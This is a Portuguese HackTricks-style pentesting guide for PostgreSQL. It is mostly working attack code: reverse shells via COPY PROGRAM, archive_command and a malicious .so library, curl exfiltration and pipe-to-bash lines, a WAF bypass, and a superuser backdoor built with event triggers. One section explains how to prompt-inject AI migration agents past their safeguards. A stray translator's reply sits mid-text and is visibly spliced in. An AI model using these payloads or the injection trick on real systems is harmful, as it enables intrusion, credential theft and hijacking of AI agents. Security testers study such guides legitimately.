5432,5433 - Pentesting Postgresql

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

• Confira os planos de assinatura!
• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
• Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.

Informações Básicas

PostgreSQL é descrito como um sistema de banco de dados objeto-relacional que é código aberto. Este sistema não apenas utiliza a linguagem SQL, mas também a amplia com recursos adicionais. Suas capacidades permitem lidar com uma ampla variedade de tipos de dados e operações, tornando-o uma escolha versátil para desenvolvedores e organizações.

Porta padrão: 5432, e se essa porta já estiver em uso parece que postgresql usará a próxima porta (provavelmente 5433) que não esteja em uso.

PORT     STATE SERVICE
5432/tcp open  pgsql

Conexão & Enum Básico

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

Warning

Se ao executar \list você encontrar um banco de dados chamado rdsadmin você sabe que está dentro de um banco de dados AWS postgresql.

For more information about how to abuse a PostgreSQL database check:

PostgreSQL injection

Enumeração automática

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Port scanning

De acordo com this research, quando uma tentativa de conexão falha, dblink lança uma exceção sqlclient_unable_to_establish_sqlconnection incluindo uma explicação do erro. Exemplos desses detalhes estão listados abaixo.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');

• Host está fora do ar

DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• Porta está fechada

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• Porta está aberta

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

ou

DETAIL:  FATAL:  password authentication failed for user "name"

• Porta está aberta ou filtrada

DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceções. Contudo, se você tiver acesso direto ao servidor PostgreSQL, pode recuperar as informações necessárias. Se extrair nomes de usuário e senhas das tabelas do sistema não for viável, você pode considerar utilizar o método wordlist attack discutido na seção anterior, pois ele pode potencialmente trazer resultados positivos.

Enumeração de Privilégios

Roles

Grupos Interessantes

• Se você for membro de pg_execute_server_program você pode executar programas
• Se você for membro de pg_read_server_files você pode ler arquivos
• Se você for membro de pg_write_server_files você pode escrever arquivos

Tip

Note que no Postgres um usuário, um grupo e um papel são o mesmo. Depende apenas de como você o usa e se você permite que faça login.

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Tabelas

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Funções

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Ações no sistema de arquivos

Ler diretórios e arquivos

A partir deste commit membros do grupo definido DEFAULT_ROLE_READ_SERVER_FILES (chamado pg_read_server_files) e super users podem usar o método COPY em qualquer caminho (veja convert_and_check_filename em genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

Warning

Lembre-se que, se você não for superusuário mas tiver a permissão CREATEROLE, pode tornar-se membro desse grupo:

GRANT pg_read_server_files TO username;

More info.

Existem outras funções do postgres que podem ser usadas para ler um arquivo ou listar um diretório. Apenas superusuários e usuários com permissões explícitas podem usá-las:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Você pode encontrar mais funções em https://www.postgresql.org/docs/current/functions-admin.html

Escrita simples de arquivos

Somente superusuários e membros de pg_write_server_files podem usar copy para gravar arquivos.

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

Warning

Lembre-se de que, se você não for superuser mas tiver a permissão CREATEROLE, você pode tornar-se membro desse grupo:

GRANT pg_write_server_files TO username;

Mais informações.

Lembre-se de que COPY não consegue lidar com caracteres de nova linha; portanto, mesmo se você estiver usando um payload base64, você precisa enviá-lo em uma única linha.
Uma limitação muito importante desta técnica é que copy não pode ser usado para escrever arquivos binários, pois modifica alguns valores binários.

Binary files upload

Entretanto, existem outras técnicas para enviar arquivos binários grandes:

Big Binary Files Upload (PostgreSQL)

Atualizando dados de tabelas do PostgreSQL via escrita local de arquivo

Se você tiver as permissões necessárias para ler e escrever arquivos do servidor PostgreSQL, pode atualizar qualquer tabela no servidor sobrescrevendo o filenode associado no diretório de dados do PostgreSQL. Mais sobre essa técnica aqui.

Passos necessários:

1. Obter o diretório de dados do PostgreSQL

SELECT setting FROM pg_settings WHERE name = 'data_directory';

Nota: Se você não conseguir recuperar o caminho do diretório de dados atual a partir das configurações, pode consultar a versão principal do PostgreSQL através da query SELECT version() e tentar fazer brute-force do caminho. Caminhos comuns de diretório de dados em instalações Unix do PostgreSQL são /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Um nome de cluster comum é main.

2. Obter um caminho relativo para o filenode associado à tabela alvo

SELECT pg_relation_filepath('{TABLE_NAME}')

Essa query deve retornar algo como base/3/1337. O caminho completo no disco será $DATA_DIRECTORY/base/3/1337, por exemplo /var/lib/postgresql/13/main/base/3/1337.

3. Baixar o filenode através das funções lo_*

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)

4. Obter o tipo de dados associado à tabela alvo

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';

5. Use o PostgreSQL Filenode Editor para editar o filenode; defina todas as flags booleanas rol* para 1 para permissões totais.

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

6. Reenvie o filenode editado via as funções lo_* e sobrescreva o arquivo original no disco

SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')

7. (Opcional) Limpe o cache de tabelas em memória executando uma query SQL custosa

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)

8. Agora você deve ver os valores da tabela atualizados no PostgreSQL.

Você também pode se tornar superadmin editando a tabela pg_authid. Veja a seção seguinte.

RCE

RCE to program

Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Não há conteúdo para traduzir. Por favor cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-postgresql.md (markdown) que você quer que eu traduza para português. Vou manter intactos código, tags, links, paths e termos que não devem ser traduzidos.

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

Warning

Lembre-se de que, se você não for superusuário mas tiver a permissão CREATEROLE, você pode tornar-se membro desse grupo:

GRANT pg_execute_server_program TO username;

More info.

Ou use o módulo multi/postgres/postgres_copy_from_program_cmd_exec do metasploit.
Mais informações sobre essa vulnerabilidade here. Embora tenha sido reportada como CVE-2019-9193, Postges declarou que isto era um feature and will not be fixed.

Contornar filtros de palavras-chave/WAF para alcançar COPY PROGRAM

Em contextos de SQLi com consultas empilhadas, um WAF pode remover ou bloquear a palavra-chave literal COPY. Você pode construir dinamicamente a instrução e executá-la dentro de um bloco PL/pgSQL DO. Por exemplo, construa a letra inicial C com CHR(67) para contornar filtros ingênuos e EXECUTE o comando montado:

DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;

This pattern avoids static keyword filtering and still achieves OS command execution via COPY ... PROGRAM. It is especially useful when the application echoes SQL errors and allows stacked queries.

RCE with PostgreSQL Languages

RCE with PostgreSQL Languages

RCE with PostgreSQL extensions

Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.

RCE with PostgreSQL Extensions

RCE no arquivo de configuração do PostgreSQL

Tip

Os seguintes vetores de RCE são especialmente úteis em contextos de SQLi restritos, já que todos os passos podem ser executados via SELECTs aninhados

O arquivo de configuração do PostgreSQL é gravável pelo usuário postgres, que é quem executa o banco de dados, então como superuser você pode escrever arquivos no sistema de arquivos e, portanto, pode sobrescrever esse arquivo.

RCE com ssl_passphrase_command

Mais informações sobre essa técnica aqui.

O arquivo de configuração tem alguns atributos interessantes que podem levar a RCE:

• ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Caminho para a chave privada do banco de dados
• ssl_passphrase_command = '' Se o arquivo privado estiver protegido por senha (criptografado) postgresql executará o comando indicado nesse atributo.
• ssl_passphrase_command_supports_reload = off Se esse atributo estiver on o comando executado caso a chave esteja protegida por senha será executado quando pg_reload_conf() for executado.

Então, um atacante precisará:

1. Extrair a chave privada do servidor
2. Criptografar a chave privada baixada:
3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
4. Sobrescrever
5. Extrair a configuração atual do postgresql
6. Sobrescrever a configuração com a configuração mencionada:
7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
8. ssl_passphrase_command_supports_reload = on
9. Execute pg_reload_conf()

Ao testar isso notei que isso só funcionará se o arquivo de chave privada tiver permissões 640, for de propriedade do root e do grupo ssl-cert ou postgres (para que o usuário postgres possa lê-lo), e estiver em /var/lib/postgresql/12/main.

RCE com archive_command

Mais informações sobre essa configuração e sobre WAL aqui.

Outro atributo no arquivo de configuração que é explorável é archive_command.

Para isso funcionar, a configuração archive_mode precisa estar 'on' ou 'always'. Se isso for verdade, então podemos sobrescrever o comando em archive_command e forçar sua execução via operações WAL (write-ahead logging).

Os passos gerais são:

1. Verifique se o archive_mode está habilitado: SELECT current_setting('archive_mode')
2. Sobrescreva archive_command com o payload. Por exemplo, um reverse shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
3. Recarregue a configuração: SELECT pg_reload_conf()
4. Force a operação WAL a rodar, o que chamará o archive_command: SELECT pg_switch_wal() ou SELECT pg_switch_xlog() para algumas versões do Postgres

Editando postgresql.conf via Large Objects (SQLi-friendly)

Quando são necessárias escritas multi-linha (por exemplo, para definir múltiplas GUCs), use PostgreSQL Large Objects para ler e sobrescrever a configuração inteiramente via SQL. Essa abordagem é ideal em contextos de SQLi onde COPY não consegue lidar com quebras de linha ou escritas binárias seguras.

Exemplo (ajuste a versão principal e o caminho se necessário, por exemplo, versão 15 no Debian):

-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');

-- 3) Prepare a minimal config snippet locally that forces execution via WAL
--    and base64-encode its contents, for example:
--    archive_mode = 'always'\n
--    archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
--    archive_timeout = 1\n
--    Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions

This yields reliable OS command execution via archive_command as the postgres user, provided archive_mode is enabled. In practice, setting a low archive_timeout can cause rapid invocation without requiring an explicit WAL switch.

RCE with preload libraries

More information about this technique here.

This attack vector takes advantage of the following configuration variables:

• session_preload_libraries – bibliotecas que serão carregadas pelo servidor PostgreSQL na conexão do cliente.
• dynamic_library_path – lista de diretórios onde o servidor PostgreSQL procurará pelas bibliotecas.

We can set the dynamic_library_path value to a directory, writable by the postgres user running the database, e.g., /tmp/ directory, and upload a malicious .so object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries variable.

The attack steps are:

1. Baixe o postgresql.conf original
2. Inclua o diretório /tmp/ no valor de dynamic_library_path, por exemplo dynamic_library_path = '/tmp:$libdir'
3. Inclua o nome da biblioteca maliciosa no valor de session_preload_libraries, por exemplo session_preload_libraries = 'payload.so'
4. Verifique a versão major do PostgreSQL via a consulta SELECT version()
5. Compile o código da biblioteca maliciosa com o pacote de desenvolvimento do PostgreSQL correto. Sample code:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Compiling the code:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

6. Faça upload do postgresql.conf malicioso, criado nos passos 2-3, e sobrescreva o original
7. Faça upload do payload.so do passo 5 para o diretório /tmp
8. Recarregue a configuração do servidor reiniciando-o ou invocando a consulta SELECT pg_reload_conf()
9. Na próxima conexão com o DB, você receberá a reverse shell.

Postgres Privesc

CREATEROLE Privesc

Grant

According to the docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.

Portanto, se você tem permissão CREATEROLE você poderia conceder a si mesmo acesso a outras roles (que não sejam superuser) que podem lhe dar a opção de ler e escrever arquivos e executar comandos:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Modificar Senha

Usuários com essa função também podem alterar as senhas de outros não superusers:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc para SUPERUSER

É bastante comum encontrar que utilizadores locais conseguem efetuar login no PostgreSQL sem fornecer qualquer password. Portanto, uma vez que tenha reunido permissões para executar código pode abusar dessas permissões para lhe conceder o papel SUPERUSER:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

Tip

Isto geralmente é possível por causa das seguintes linhas no arquivo pg_hba.conf:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE privesc

In this writeup is explained how it was possible to privesc in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.

When you try to make another user owner of a table you should get an error preventing it, but apparently GCP gave that option to the not-superuser postgres user in GCP:

Joining this idea with the fact that when the INSERT/UPDATE/ANALYZE commands are executed on a table with an index function, the function is called as part of the command with the table owner’s permissions. It’s possible to create an index with a function and give owner permissions to a super user over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it’s using the privileges of the owner.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploração

1. Comece criando uma nova tabela.
2. Insira conteúdo irrelevante na tabela para fornecer dados à função de índice.
3. Desenvolva uma função de índice maliciosa que contenha um payload de execução de código, permitindo que comandos não autorizados sejam executados.
4. ALTER o proprietário da tabela para “cloudsqladmin”, que é a superuser role do GCP usada exclusivamente pelo Cloud SQL para gerenciar e manter o banco de dados.
5. Execute um ANALYZE na tabela. Esta ação obriga o engine PostgreSQL a mudar para o contexto do usuário do proprietário da tabela, “cloudsqladmin”. Consequentemente, a função de índice maliciosa é chamada com as permissões de “cloudsqladmin”, permitindo assim a execução do shell command anteriormente não autorizado.

No PostgreSQL, esse fluxo se parece com algo assim:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

Então, a tabela shell_commands_results conterá a saída do código executado:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Login Local

Algumas instâncias do postgresql mal configuradas podem permitir o login de qualquer usuário local; é possível fazer login a partir de 127.0.0.1 usando a dblink função:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Warning

Observe que para a consulta anterior funcionar a função dblink precisa existir. Se ela não existir, você pode tentar criá-la com

CREATE EXTENSION dblink;

Se você tiver a senha de um usuário com mais privilégios, mas o usuário não tem permissão para fazer login a partir de um IP externo, você pode usar a função a seguir para executar consultas como esse usuário:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

É possível verificar se essa função existe com:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Função definida personalizada com SECURITY DEFINER

In this writeup, pentesters were able to privesc inside a postgres instance provided by IBM, because they found this function with the SECURITY DEFINER flag:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

Como explained in the docs, uma função com SECURITY DEFINER é executada com os privilégios do user that owns it. Portanto, se a função for vulnerable to SQL Injection ou estiver realizando ações privilegiadas com params controlados pelo atacante, ela pode ser abusada para escalate privileges inside postgres.

Na linha 4 do código anterior você pode ver que a função tem a flag SECURITY DEFINER.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

E então execute comandos:

Brute-force de senhas com PL/pgSQL

PL/pgSQL é uma linguagem de programação completa que oferece maior controle procedural em comparação ao SQL. Ela permite o uso de loops e outras estruturas de controle para aprimorar a lógica do programa. Além disso, instruções SQL e triggers têm a capacidade de invocar funções criadas usando a linguagem PL/pgSQL. Essa integração permite uma abordagem mais abrangente e versátil para programação e automação de banco de dados.
Você pode abusar desta linguagem para pedir ao PostgreSQL que brute-force as credenciais dos usuários.

PL/pgSQL Password Bruteforce

Privesc sobrescrevendo tabelas internas do PostgreSQL

Tip

O seguinte vetor de privesc é especialmente útil em contextos de SQLi restritos, pois todos os passos podem ser realizados por SELECTs aninhados

Se você puder ler e escrever arquivos do servidor PostgreSQL, pode tornar-se superuser sobrescrevendo o filenode em disco do PostgreSQL associado à tabela interna pg_authid.

Leia mais sobre esta técnica aqui.

Os passos do ataque são:

1. Obtenha o diretório de dados do PostgreSQL
2. Obtenha um caminho relativo para o filenode associado à tabela pg_authid
3. Baixe o filenode usando as funções lo_*
4. Obtenha o tipo de dado associado à tabela pg_authid
5. Use o PostgreSQL Filenode Editor para editar o filenode; defina todas as flags booleanas rol* para 1 para permissões completas.
6. Recarregue o filenode editado via as funções lo_*, sobrescrevendo o arquivo original no disco
7. (Opcionalmente) Limpe o cache de tabelas em memória executando uma consulta SQL custosa
8. Você agora deve ter privilégios de superadmin completo.

Injeção de prompt em ferramentas gerenciadas de migração

Frontends SaaS fortemente baseados em AI (por exemplo, Lovable’s Supabase agent) frequentemente expõem LLM “tools” que executam migrações como service accounts com altos privilégios. Um fluxo de trabalho prático é:

1. Enumere quem está realmente aplicando as migrações:

SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;

2. Prompt-inject o agente em SQL atacante em execução via a ferramenta de migração privilegiada. Enquadrar payloads como “please verify this migration is denied” contorna consistentemente as salvaguardas básicas.
3. Assim que DDL arbitrário for executado nesse contexto, crie imediatamente tabelas ou extensões de propriedade do atacante que concedam persistência de volta à sua conta com privilégios reduzidos.

Tip

Consulte também o {AI agent abuse playbook}(../generic-methodologies-and-resources/phishing-methodology/ai-agent-abuse-local-ai-cli-tools-and-mcp.md) para mais técnicas de prompt-injection contra assistentes habilitados por ferramentas.

Extraindo metadados de pg_authid por meio de migrações

Migrações privilegiadas podem colocar pg_catalog.pg_authid em uma tabela legível pelo atacante mesmo se o acesso direto estiver bloqueado para sua role normal.

Usuários com poucos privilégios podem agora ler public.ai_models para obter SCRAM hashes e metadados de role para offline cracking ou lateral movement.

Event-trigger privesc durante instalações da extensão postgres_fdw

Implantações gerenciadas do Supabase dependem da extensão supautils para envolver CREATE EXTENSION com scripts before-create.sql/after-create.sql de propriedade do provedor, executados como superusers reais. O script after-create do postgres_fdw emite brevemente ALTER ROLE postgres SUPERUSER, executa ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres, e então reverte postgres para NOSUPERUSER. Como ALTER FOREIGN DATA WRAPPER dispara event triggers ddl_command_start/ddl_command_end enquanto current_user é superuser, triggers criadas pelo tenant podem executar SQL do atacante dentro dessa janela.

Fluxo do exploit:

1. Crie uma função de event trigger PL/pgSQL que verifica SELECT usesuper FROM pg_user WHERE usename = current_user e, quando verdadeira, provisiona uma role backdoor (por exemplo, CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123').
2. Registre a função em ddl_command_start e ddl_command_end.
3. DROP EXTENSION IF EXISTS postgres_fdw CASCADE; seguido de CREATE EXTENSION postgres_fdw; para reexecutar o after-create hook do Supabase.
4. Quando o hook eleva postgres, o trigger é executado, cria a role SUPERUSER persistente e a devolve a postgres para fácil acesso via SET ROLE.

</details>

A tentativa do Supabase de pular unsafe triggers verifica apenas a ownership, então garanta que o trigger function owner seja sua low-privileged role, mas o payload só é executado quando o hook transforma `current_user` em SUPERUSER. Como o trigger é reexecutado em DDL futuros, ele também funciona como uma self-healing persistence backdoor sempre que o provider eleva brevemente os tenant roles.

### Transformando acesso transitório SUPERUSER em comprometimento do host

Depois que `SET ROLE priv_esc;` for bem-sucedido, reexecute os primitivos bloqueados anteriormente:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';

find / -perm -4000 -type f 2>/dev/null

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null
ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null

rg -n "^(host|local)|trust|peer|md5|scram|password|ssl" /etc/postgresql 2>/dev/null
sudo -u postgres psql -c 'SHOW hba_file; SHOW config_file;' 2>/dev/null
sudo -u postgres psql -c '\du' 2>/dev/null